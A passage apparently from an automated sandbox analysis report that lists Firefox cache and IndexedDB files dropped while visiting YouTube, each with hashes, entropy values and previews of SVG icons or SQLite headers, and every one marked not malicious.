Preview:	....sNaPpY.s........^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...><path d="M16 21h-2.28c-.35.6-.98 1-1.72 1s-1.38-.4...-1H8v-1h8v1zm4-11c0 2.96-1.61 5.54-4 6.92V19H8v-2.08C5.61 1... 4 1./..P0c0-4.42 3.58-8 8-8s8.. 8 8zm-5 .k\.66l.5-.29C17.66 14.8 19.I.4...J(3.86-3.14-7...s-7 ... 7...+..34 .=.3.5 6.0.XD.28V18h6z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\76\{563dc406-5e13-480d-a32e-ed19ded43f4c}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	312
Entropy (8bit):	5.557248699824857
Encrypted:	false
SSDEEP:	6:9MMCI9mc4slhLJ9hCOBTcY82MdZojRhuYnQxTvZHb:9247N9UOBT70ZKHu1ZHb
MD5:	7981F433590B9D8B8A3DDCBD9D4A83ED
SHA1:	58944A6101A8CD3E37574D26F2D03638C0FE2B2B
SHA-256:	097CA92E3FE122231764CB6D23DECA18894C83CBD4128B39E925C88C061096B1
SHA-512:	67E541767B07DE4F4A1B88B13C5AE2F0B0DF41C09B22648D8681CD7E7CB2CC7D0C15F685F8D6165317FA5956687F46731867892D3E811B78A9B6DF2EB3565D4F
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.*...Z_....^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width..h><path d="m20.87 20.17-5.59.. C16.35 13...7 11.75 ..80c0-3.87-3.13-7...s-7 ... ... ...7c.4.0 .D8-.65 4.58-1.71l.h. ....7-.71zM10 16c-3.31 0-6-2.69-6-6s... 6-6 6 ... ....4-6 6z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\76\{563dc406-5e13-480d-a32e-ed19ded43f4c}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	312
Entropy (8bit):	5.557248699824857
Encrypted:	false
SSDEEP:	6:9MMCI9mc4slhLJ9hCOBTcY82MdZojRhuYnQxTvZHb:9247N9UOBT70ZKHu1ZHb
MD5:	7981F433590B9D8B8A3DDCBD9D4A83ED
SHA1:	58944A6101A8CD3E37574D26F2D03638C0FE2B2B
SHA-256:	097CA92E3FE122231764CB6D23DECA18894C83CBD4128B39E925C88C061096B1
SHA-512:	67E541767B07DE4F4A1B88B13C5AE2F0B0DF41C09B22648D8681CD7E7CB2CC7D0C15F685F8D6165317FA5956687F46731867892D3E811B78A9B6DF2EB3565D4F
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.*...Z_....^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width..h><path d="m20.87 20.17-5.59.. C16.35 13...7 11.75 ..80c0-3.87-3.13-7...s-7 ... ... ...7c.4.0 .D8-.65 4.58-1.71l.h. ....7-.71zM10 16c-3.31 0-6-2.69-6-6s... 6-6 6 ... ....4-6 6z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\77\{7a4974db-f59a-452c-9f62-bd60a0a1044d}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	671
Entropy (8bit):	4.555537647086419
Encrypted:	false
SSDEEP:	12:95RnoU/vmRfhAZY75jQOglOfYcgUKa1rTdnSbzUMoElCInaGLKphWXpVn1:95RoU/vCOa75cOglOfWUzddnSXkUaGLv
MD5:	3A412424AC9E9E38359ED78EFDADC85C
SHA1:	EFED1BCFC57A1A6B9917CD3BC20D59F767ADF5BC
SHA-256:	8CEE6015FFD0F547E1BDFC958C906DF98B64E24CB6DD5D89CC1AA3B38BD62BD4
SHA-512:	244689BA698E3C6323E8B72ACC8EE5672BCDCA4F859DC402E463D09B631861C996D90F8740B75D7E1668ABC27EC447A1CDEA1AAA30434BA56DA1F7B06B84D57B
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....LJ......<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="m3.15 3.85 4.17 4.17L6.16 9H3v6h3.16L12 19.93v-7.22l2.45 2.45c-.15.07-.3.13-.45.18v1.04c.43-.1.83-.27 1.2-.48l1.81 1.81c-.88.62-1.9 1.04-3.01 1.2v1.01c1.39-.17 2.66-.71 3.73-1.49l2.42 2.42.71-.71-17-17-.71.71zM11 11.71v6.07L6.52 14H4v-4h2.52l1.5-1.27L11 11.71zm-.67-4.92-.71-.71L12 4.07v4.39l-1-1V6.22l-.67.57zM14 8.66V7.62c2 .46 3.5 2.24 3.5 4.38 0 .58-.13 1.13-.33 1.64l-.79-.79c.07-.27.12-.55.12-.85 0-1.58-1.06-2.9-2.5-3.34zm0-3.58V4.07c3.95.49 7 3.85 7 7.93 0 1.56-.46 3.01-1.23 4.24l-.73-.73c.61-1.03.96-2.23.96-3.51 0-3.52-2.61-6.43-6-6.92z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\77\{7a4974db-f59a-452c-9f62-bd60a0a1044d}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	671
Entropy (8bit):	4.555537647086419
Encrypted:	false
SSDEEP:	12:95RnoU/vmRfhAZY75jQOglOfYcgUKa1rTdnSbzUMoElCInaGLKphWXpVn1:95RoU/vCOa75cOglOfWUzddnSXkUaGLv
MD5:	3A412424AC9E9E38359ED78EFDADC85C
SHA1:	EFED1BCFC57A1A6B9917CD3BC20D59F767ADF5BC
SHA-256:	8CEE6015FFD0F547E1BDFC958C906DF98B64E24CB6DD5D89CC1AA3B38BD62BD4
SHA-512:	244689BA698E3C6323E8B72ACC8EE5672BCDCA4F859DC402E463D09B631861C996D90F8740B75D7E1668ABC27EC447A1CDEA1AAA30434BA56DA1F7B06B84D57B
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....LJ......<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="m3.15 3.85 4.17 4.17L6.16 9H3v6h3.16L12 19.93v-7.22l2.45 2.45c-.15.07-.3.13-.45.18v1.04c.43-.1.83-.27 1.2-.48l1.81 1.81c-.88.62-1.9 1.04-3.01 1.2v1.01c1.39-.17 2.66-.71 3.73-1.49l2.42 2.42.71-.71-17-17-.71.71zM11 11.71v6.07L6.52 14H4v-4h2.52l1.5-1.27L11 11.71zm-.67-4.92-.71-.71L12 4.07v4.39l-1-1V6.22l-.67.57zM14 8.66V7.62c2 .46 3.5 2.24 3.5 4.38 0 .58-.13 1.13-.33 1.64l-.79-.79c.07-.27.12-.55.12-.85 0-1.58-1.06-2.9-2.5-3.34zm0-3.58V4.07c3.95.49 7 3.85 7 7.93 0 1.56-.46 3.01-1.23 4.24l-.73-.73c.61-1.03.96-2.23.96-3.51 0-3.52-2.61-6.43-6-6.92z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\85\{41b441d7-9464-400a-a7c3-0fe8756f7255}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.467535215179683
Encrypted:	false
SSDEEP:	6:9rY/WOI9mc4slhLJ9hCcCLyS7NHTZORTIhRJUTT6kg2AfI1NIfdAf7:9rAWO47N9UzLy2NHTsYffLV6
MD5:	4A514BED69506C494569D2DE079A4565
SHA1:	CFBCB0C9EF303E49ADB4F8C85191593DCBDD95F6
SHA-256:	9B16A083B682783C5014B9A1F4F6914EC9399100E86FD5E56A82FEC41EA96A68
SHA-512:	C2D81AF256D7D5E8BF9B4C2CA467A1972AA625511AD0D63C5DA573D0916B85B1B09BABF4A606D94F6B79F3DB26BC00FF8C4B08DB485224383D487749881B88FB
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY......G....^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...><path d="M11 11v6H7v-6h4m1-1H6v8h6v-8zM3 3.03V21h14l4-4V3.03M20 4v11.99l-.01.01H16v3.99l-.01.01H4V4h16zm-2 4H6V6h12v2zm0 7h-5v-2h5v2zm0-3h-5v-2h5v2z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\85\{41b441d7-9464-400a-a7c3-0fe8756f7255}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.467535215179683
Encrypted:	false
SSDEEP:	6:9rY/WOI9mc4slhLJ9hCcCLyS7NHTZORTIhRJUTT6kg2AfI1NIfdAf7:9rAWO47N9UzLy2NHTsYffLV6
MD5:	4A514BED69506C494569D2DE079A4565
SHA1:	CFBCB0C9EF303E49ADB4F8C85191593DCBDD95F6
SHA-256:	9B16A083B682783C5014B9A1F4F6914EC9399100E86FD5E56A82FEC41EA96A68
SHA-512:	C2D81AF256D7D5E8BF9B4C2CA467A1972AA625511AD0D63C5DA573D0916B85B1B09BABF4A606D94F6B79F3DB26BC00FF8C4B08DB485224383D487749881B88FB
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY......G....^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...><path d="M11 11v6H7v-6h4m1-1H6v8h6v-8zM3 3.03V21h14l4-4V3.03M20 4v11.99l-.01.01H16v3.99l-.01.01H4V4h16zm-2 4H6V6h12v2zm0 7h-5v-2h5v2zm0-3h-5v-2h5v2z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\96\{1597bbd2-2744-4564-9fc6-3a5e8757e660}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.739793596522519
Encrypted:	false
SSDEEP:	6:9wXUm39mc4slhLJ9hCie4CpzYNwLqsD/IBvym3TNmitxpLSEkn7:9wXUmN7N9UeqzYH31tx3kn7
MD5:	A601665ADCB4C6BE23F3F43DB3ECD713
SHA1:	DAF1DBB4C74201E6E986283FBA3603B508D576D2
SHA-256:	38F281885066FB223A840E11199C5FE053CE470857CB8FFE5FDEE25E226E2E7A
SHA-512:	B60B5AFBCAFCFB4D4751DDA855CE4E40674BA635A28DEE30B9EE8DAE0CC1A751623EBCC3F1657AA1E847BA317DBB4BCDF44E73FD68B96DDB9EBC3D0A73BB5AE8
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.4.....g...^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width..p><path d="m16.97 4-4.99 2.8L6..P4 2 6.8v7.6l9.98 5.6 .. -5.6V6.8L.8pzM10 12H8v2H6v-2H4v-2h2V8h2v2..Tzm5.5 2c-.83 0-1.5-.67...1.5s... ...1.....67.....+.....zm3-3ZK..S17.:(8 18.5 8s1.rJ. "/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\96\{1597bbd2-2744-4564-9fc6-3a5e8757e660}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.739793596522519
Encrypted:	false
SSDEEP:	6:9wXUm39mc4slhLJ9hCie4CpzYNwLqsD/IBvym3TNmitxpLSEkn7:9wXUmN7N9UeqzYH31tx3kn7
MD5:	A601665ADCB4C6BE23F3F43DB3ECD713
SHA1:	DAF1DBB4C74201E6E986283FBA3603B508D576D2
SHA-256:	38F281885066FB223A840E11199C5FE053CE470857CB8FFE5FDEE25E226E2E7A
SHA-512:	B60B5AFBCAFCFB4D4751DDA855CE4E40674BA635A28DEE30B9EE8DAE0CC1A751623EBCC3F1657AA1E847BA317DBB4BCDF44E73FD68B96DDB9EBC3D0A73BB5AE8
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.4.....g...^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width..p><path d="m16.97 4-4.99 2.8L6..P4 2 6.8v7.6l9.98 5.6 .. -5.6V6.8L.8pzM10 12H8v2H6v-2H4v-2h2V8h2v2..Tzm5.5 2c-.83 0-1.5-.67...1.5s... ...1.....67.....+.....zm3-3ZK..S17.:(8 18.5 8s1.rJ. "/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\96\{7a093327-8d8c-454e-804f-02188e82f160}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	168
Entropy (8bit):	5.317318668988756
Encrypted:	false
SSDEEP:	3:9/ld3cgbIsqDmJS4RKb5sAR+hHiATcvXjXRHRcBHoNcHPKlhQtNNUunhjQAZi:9/DjbI9mc4slhohC/vmI4PKlGtNNUunK
MD5:	51BB0FE00991A2AE6707B3AEFC583918
SHA1:	21EC201EBF41AD57FAAAB02F7961CE5A746E6DBB
SHA-256:	97DC140355B2B45B54C3DAB1AC66B951AFAE0BC742402CBC342BE117F4424E0A
SHA-512:	41863CC0F1252366A5514DD62A06F4BBA493029B8C7A35E19173B6D7F9114E7098FA35D284623B6641D28F7D7BEE1CE99064987AFC985DBF0354368F71F9A39B
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.....$....<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M21 6H3V5h18v1zm0 5H3v1h18v-1zm0 6H3v1h18v-1z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\96\{7a093327-8d8c-454e-804f-02188e82f160}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	168
Entropy (8bit):	5.317318668988756
Encrypted:	false
SSDEEP:	3:9/ld3cgbIsqDmJS4RKb5sAR+hHiATcvXjXRHRcBHoNcHPKlhQtNNUunhjQAZi:9/DjbI9mc4slhohC/vmI4PKlGtNNUunK
MD5:	51BB0FE00991A2AE6707B3AEFC583918
SHA1:	21EC201EBF41AD57FAAAB02F7961CE5A746E6DBB
SHA-256:	97DC140355B2B45B54C3DAB1AC66B951AFAE0BC742402CBC342BE117F4424E0A
SHA-512:	41863CC0F1252366A5514DD62A06F4BBA493029B8C7A35E19173B6D7F9114E7098FA35D284623B6641D28F7D7BEE1CE99064987AFC985DBF0354368F71F9A39B
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.....$....<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M21 6H3V5h18v1zm0 5H3v1h18v-1zm0 6H3v1h18v-1z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\98\{24824d9f-93cb-47b9-be6f-5fcee695af62}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.873570006858396
Encrypted:	false
SSDEEP:	6:9ipU39mc4slhLJ9hC2e4eLExbOAlU+IkbjKI1pFu45odsvdqFwj0Yohd7yVcz:9ipk7N9Uaz9lUKpupSQhdOCz
MD5:	08A146D1E81AD813D773E21E110C9518
SHA1:	EEF1D5A3FD0441C51095676EABAD4429E6BF0304
SHA-256:	293239447E85046251EF232472240895F33375FD4D4050EEFD3CA9F9D1A6D355
SHA-512:	A4C2A68F417ED712C9B151F3D18A1BD710C6E692B5ABA5DB4DC25DC5FE4EC6FF743F1F7171ED81AEA019C12A10CBA3C57CE91ECFDD18523F0D277B3AED52F37A
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.R...oe....^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width..\|><path d="m9.91 8.7.6 2.12.15.54...15...6-...6-...-.".-.0.-. ..."...1.5.%..54.#..1.&.5\1m0-3.69-1.56 5.53-5.52 ....6...#.3L17 ...l...@...ELzm6.81 11.8-2.76.78 .........-.7..........zm...13.85.....=.M.....%.8.y....$z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\98\{24824d9f-93cb-47b9-be6f-5fcee695af62}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.873570006858396
Encrypted:	false
SSDEEP:	6:9ipU39mc4slhLJ9hC2e4eLExbOAlU+IkbjKI1pFu45odsvdqFwj0Yohd7yVcz:9ipk7N9Uaz9lUKpupSQhdOCz
MD5:	08A146D1E81AD813D773E21E110C9518
SHA1:	EEF1D5A3FD0441C51095676EABAD4429E6BF0304
SHA-256:	293239447E85046251EF232472240895F33375FD4D4050EEFD3CA9F9D1A6D355
SHA-512:	A4C2A68F417ED712C9B151F3D18A1BD710C6E692B5ABA5DB4DC25DC5FE4EC6FF743F1F7171ED81AEA019C12A10CBA3C57CE91ECFDD18523F0D277B3AED52F37A
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.R...oe....^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width..\|><path d="m9.91 8.7.6 2.12.15.54...15...6-...6-...-.".-.0.-. ..."...1.5.%..54.#..1.&.5\1m0-3.69-1.56 5.53-5.52 ....6...#.3L17 ...l...@...ELzm6.81 11.8-2.76.78 .........-.7..........zm...13.85.....=.M.....%.8.y....$z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\99\{4ad8331e-ffb5-4b71-8e18-10bc7f786b63}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.354072121884297
Encrypted:	false
SSDEEP:	6:96RQI9mc4slhLJ9hCcBxbib4Gt/6qnFJ+5LZ9i3JvGUuWLVJfWj8:9QQ47N9Uwxeb4s6qbmqvVJf5
MD5:	4281C6880B38580A12983DB6AFE98254
SHA1:	052F3DBCC36E439F4F23B1E1B608D92EE8E72654
SHA-256:	98CDB9A3EEF1764F2034497868BC60328364B1A414EBA55860FC1756AA5F85B3
SHA-512:	6B92B3CCF7AB00DB56C0CD6C7C180741E1A154BE3CC04199B883E7C350A818A6B0357454116DDC86AF433F3AFD57CC8DD89EFED7CD0DFDA6C3D9BBB270DBA533
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.D.........^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...><path d="M13 18.93V21h-2v-2.07c-3.9-.49-6-3.8-6-6.93h2c0 1.93 1.36 5 5 5s5-3.07 5-5h2c0 3.13-2.1 6.44-6 6.93zM12 15c1.66 0 3-1.37 3-3.07V6.07C15 4.37 13.66 3 12 3S9..(9 6.07v5.86...7 1.34 3.v<3 3.07z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\99\{4ad8331e-ffb5-4b71-8e18-10bc7f786b63}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.354072121884297
Encrypted:	false
SSDEEP:	6:96RQI9mc4slhLJ9hCcBxbib4Gt/6qnFJ+5LZ9i3JvGUuWLVJfWj8:9QQ47N9Uwxeb4s6qbmqvVJf5
MD5:	4281C6880B38580A12983DB6AFE98254
SHA1:	052F3DBCC36E439F4F23B1E1B608D92EE8E72654
SHA-256:	98CDB9A3EEF1764F2034497868BC60328364B1A414EBA55860FC1756AA5F85B3
SHA-512:	6B92B3CCF7AB00DB56C0CD6C7C180741E1A154BE3CC04199B883E7C350A818A6B0357454116DDC86AF433F3AFD57CC8DD89EFED7CD0DFDA6C3D9BBB270DBA533
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.D.........^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...><path d="M13 18.93V21h-2v-2.07c-3.9-.49-6-3.8-6-6.93h2c0 1.93 1.36 5 5 5s5-3.07 5-5h2c0 3.13-2.1 6.44-6 6.93zM12 15c1.66 0 3-1.37 3-3.07V6.07C15 4.37 13.66 3 12 3S9..(9 6.07v5.86...7 1.34 3.v<3 3.07z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\99\{e10cfcae-6946-402c-8c8d-59eff85e0f63}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	231
Entropy (8bit):	5.6748376221507
Encrypted:	false
SSDEEP:	3:9SlicdWqKsqDmJS4RKb5hL6Fb0zVjXRH8+hHiAT1ErcH7qg13SwQGqkiUSJMxLdu:9xc29mc4slhLJ9hC6F3Sa3cgRHs
MD5:	45E25BB134343FE4A559478CD56F0971
SHA1:	79F18AD0B7E3935C3231CED0EDD8EA3C7997CA93
SHA-256:	DAE4DD8E56CCC952312B3B238A1DB294D4D7AD4F532C31CD1C2E5F9DEE881678
SHA-512:	9B32B125C4183FE992630BC6CE9A511157959556FDCE53F8264ABA2AA8FB7B0E53B408B505DA2CC96CDEC771470927E74CBA3BBD6EB71A5077E9F933CDC85292
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.......w...^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width..\><path d="m12.71 12 8.15..(-.71.71L12 ...l-2.....L11.29.6.3.6.3.85l.7...2 ...l8.15.;.P<.71 12z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\99\{e10cfcae-6946-402c-8c8d-59eff85e0f63}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	231
Entropy (8bit):	5.6748376221507
Encrypted:	false
SSDEEP:	3:9SlicdWqKsqDmJS4RKb5hL6Fb0zVjXRH8+hHiAT1ErcH7qg13SwQGqkiUSJMxLdu:9xc29mc4slhLJ9hC6F3Sa3cgRHs
MD5:	45E25BB134343FE4A559478CD56F0971
SHA1:	79F18AD0B7E3935C3231CED0EDD8EA3C7997CA93
SHA-256:	DAE4DD8E56CCC952312B3B238A1DB294D4D7AD4F532C31CD1C2E5F9DEE881678
SHA-512:	9B32B125C4183FE992630BC6CE9A511157959556FDCE53F8264ABA2AA8FB7B0E53B408B505DA2CC96CDEC771470927E74CBA3BBD6EB71A5077E9F933CDC85292
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.......w...^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width..\><path d="m12.71 12 8.15..(-.71.71L12 ...l-2.....L11.29.6.3.6.3.85l.7...2 ...l8.15.;.P<.71 12z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\idb\1247451676yCt7-%pCl7a%y3efrd-9l.sqlite

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 416, last written using SQLite version 3042000, writer version 2, read version 2, file counter 3, database pages 11, cookie 0xd, schema 4, largest root page 11, UTF-8, vacuum mode 1, version-valid-for 3
Category:	modified
Size (bytes):	49152
Entropy (8bit):	0.7669066922881113
Encrypted:	false
SSDEEP:	48:T/OA65g7LV6CM5znpgBlizb5pxVgnO9zxV+LU7mY2wzY5QcEVdyExEZFfm7e:j16S6CKnqlizbxV+2xVeU7X2B0xEZ0y
MD5:	24DCE56EFEB5F6F4556FB9764E3D282B
SHA1:	9CC6589FDA708B62F89F0DC109255D3C55A4827A
SHA-256:	DB903928AA8CCD549541ABFC9D70B9AD0BBAAC95B754D6936490D92B9D631D61
SHA-512:	F086E2159DC5F412F340589D822B27CB49179CF0856C8AF63D09D7612AE6F4951985D3B52906389295427B7E63D5E33BC66BBEF5BC703713FF5BD1901AF3FA83
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j............;.......[..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................-...3....triggerfile_update_triggerfileCREATE TRIGGER file_update_trigger AFTER UPDATE ON file FOR EACH ROW WHEN NEW.refcount = 0 BEGIN DELETE FROM file WHERE id = OLD.id; END.Y...A#..Ytriggerobject_data_delete

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\idb\1247451676yCt7-%pCl7a%y3efrd-9l.sqlite-journal

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	4616
Entropy (8bit):	0.14095935154601877
Encrypted:	false
SSDEEP:	3:7FEG2l+xip9tFllkpMRgSWbNFl/sl+ltlsl8lcWllbEn:7+/l3g9bNFlEs1E0cln
MD5:	2D811C51B9562917BFF155211A773FA4
SHA1:	DBC3036D06F0F50374F67B7956BC1CA6CC641A8D
SHA-256:	21FCF54572E7AE30A42EE23354DE36B3FD154FF82326FE207E4A8A8F66781C4B
SHA-512:	FB88993A8513ADA805D435EDA2DD64E40F19FE01B2FFDA5EF67D8836BAFC0B478CD2EA329193FAEFF51963523582F09292F2CDAB13774707344659C30AF5DDBD
Malicious:	false
Reputation:	unknown
Preview:	.... .c.....T.E.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................SQLite format 3......@ ..........................................................................j.................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\idb\1247451676yCt7-%pCl7a%y3efrd-9l.sqlite-shm

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.03557638502432581
Encrypted:	false
SSDEEP:	3:Gtl9tpl4n8JgZS6ctl9tpl4n8JgZS6BlXR9//wllmlfl:GtinnctinnBlB9XT
MD5:	E4464FAFC070CA37E282182E5CBB55AA
SHA1:	55C6B36FCD729596A62C0BE9BC088AE3CA819B71
SHA-256:	EE825E5B5B947C1D8244A32CD065682C168C49670F9BB832E4356C0271F23E1B
SHA-512:	7E1170FDF4DF2BF00A6A9464250165C30AA479806DA83A431B0E4126BB51701DCA72BCB0AD484CBD9F58DD7C770D287BA986538E47DBBA9B07F247439B490D00
Malicious:	false
Reputation:	unknown
Preview:	..-.......................L<...(>.7.........a..-.......................L<...(>.7.........a........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\idb\1626312202yCt7-%iCt7-%r3efsdp9o.sqlite

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 416, last written using SQLite version 3042000, writer version 2, read version 2, file counter 4, database pages 17, cookie 0xd, schema 4, largest root page 11, UTF-8, vacuum mode 1, version-valid-for 4
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	3.7549549781280236
Encrypted:	false
SSDEEP:	768:f6S6CrAW1Vf+WMIId6PzSlWtvffT8uMARRZJd6Pzc:f6S6svMIy2SEFfYu3RZv2c
MD5:	54A9FFDE42B2C50D1B2BC4ED250906C5
SHA1:	50B438B339A835B7BB4B9F33E173AD9EDBDA6AD0
SHA-256:	A7D3912E6ECA085BB1A074DCC4CC1378B8AB17D5BE61B873210262978DAA61EB
SHA-512:	C8E7FD73E3AAEB6C6A23700D5B7E0872291F5DD6D81007002EE1A2EA1C525FA14467D06E5BFC0B3A5B720EC0BDF643FF20FE52DBFD61EBDB01A3A2599B32B82B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j............;.......[..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................-...3....triggerfile_update_triggerfileCREATE TRIGGER file_update_trigger AFTER UPDATE ON file FOR EACH ROW WHEN NEW.refcount = 0 BEGIN DELETE FROM file WHERE id = OLD.id; END.Y...A#..Ytriggerobject_data_delete

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\idb\1626312202yCt7-%iCt7-%r3efsdp9o.sqlite-journal

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Rollback Journal
